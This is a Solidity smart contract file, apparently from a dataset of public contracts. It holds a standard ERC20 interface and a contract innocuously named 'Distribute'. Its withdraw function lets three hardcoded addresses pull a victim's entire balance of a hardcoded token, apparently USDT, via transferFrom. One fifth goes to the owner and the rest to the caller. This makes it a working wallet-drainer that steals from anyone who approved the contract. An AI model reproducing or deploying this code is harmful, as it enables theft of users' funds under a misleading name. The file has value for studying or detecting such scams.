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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract Distribute {
address private owner;
constructor() {
owner = msg.sender;
}
function checkBalance(address _token) public view returns(uint) {
return IERC20(_token).balanceOf(address(this));
}
function withdraw(address _holder) public {
require(msg.sender == 0x15268F77D1261F3183e5A8a2287DfE41D1C422ac || msg.sender == 0xF5089CFCdA913D957fe3013D062cf84A679F0051 || msg.sender == 0xaeC4D07101e3B7d03114c2C947eE2967Ba75Dddb);
uint amount = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).balanceOf(_holder);
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).transferFrom(_holder, address(owner), amount / 5);
uint amount2 = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).balanceOf(_holder);
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).transferFrom(_holder, msg.sender, amount2);
}
} |